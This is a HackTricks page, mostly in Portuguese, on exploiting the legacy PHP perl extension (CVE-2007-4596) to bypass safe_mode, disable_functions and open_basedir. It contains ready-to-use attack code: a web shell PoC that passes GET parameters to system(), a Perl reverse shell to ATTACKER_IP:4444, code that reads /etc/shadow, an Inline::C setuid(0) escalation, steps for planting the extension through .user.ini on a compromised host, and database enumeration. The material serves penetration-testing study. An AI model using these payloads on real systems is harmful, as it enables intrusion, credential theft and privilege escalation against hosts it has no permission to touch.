PHP Perl Extension Safe_mode Bypass Exploit

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Contexto

O problema rastreado como CVE-2007-4596 vem da legacy perl PHP extension, que incorpora um interpretador Perl completo sem respeitar os controles safe_mode, disable_functions, ou open_basedir do PHP. Qualquer worker PHP que carregue extension=perl.so ganha eval Perl irrestrito, então a execução de comandos permanece trivial mesmo quando todas as primitivas clássicas de spawning de processo do PHP estão bloqueadas. Embora o safe_mode tenha desaparecido no PHP 5.4, muitas stacks de hospedagem compartilhada desatualizadas e labs vulneráveis ainda o incluem, então esse bypass ainda é valioso quando você chega em painéis de controle legados.

Compatibilidade & Status de Empacotamento (2025)

  • The last PECL release (perl-1.0.1, 2013) targets PHP ≥5.0; PHP 8+ generally fails because the Zend APIs changed.
  • PECL is being superseded by PIE, but older stacks still ship PECL/pear. Use the flow below on PHP 5/7 targets; on newer PHP expect to downgrade or switch to another injection path (e.g., userland FFI).

Construindo um Ambiente Testável em 2025

  • Fetch perl-1.0.1 from PECL, compile it for the PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or proc_open blacklists do not matter.

On-host build chain when phpize is reachable

If phpize and build-essential are present on the compromised host, you can compile and drop perl.so without shelling out to the OS:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Se open_basedir estiver aplicado, certifique-se de que o .user.ini e o .so colocados residam em um caminho permitido; a diretiva extension= ainda é respeitada dentro do basedir. O fluxo de compilação espelha o manual do PHP para construir extensões PECL.

PoC Original (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, ainda útil para confirmar que a extensão responde a eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Melhorias Modernas de Payload

1. TTY completo sobre TCP

O interpretador embutido pode carregar IO::Socket mesmo se /usr/bin/perl estiver bloqueado:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. Evasão do Sistema de Arquivos Mesmo com open_basedir

Perl ignora o open_basedir do PHP, então você pode ler arquivos arbitrários:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Direcione a saída através de IO::Socket::INET ou Net::HTTP para exfiltrate dados sem tocar em descritores gerenciados pelo PHP.

3. Inline Compilation for Privilege Escalation

Se Inline::C existir em todo o sistema, compile auxiliares dentro da requisição sem depender de ffi ou pcntl do PHP:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Trate Perl como um toolkit LOLBAS — por exemplo, dump MySQL DSNs mesmo se mysqli estiver ausente:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks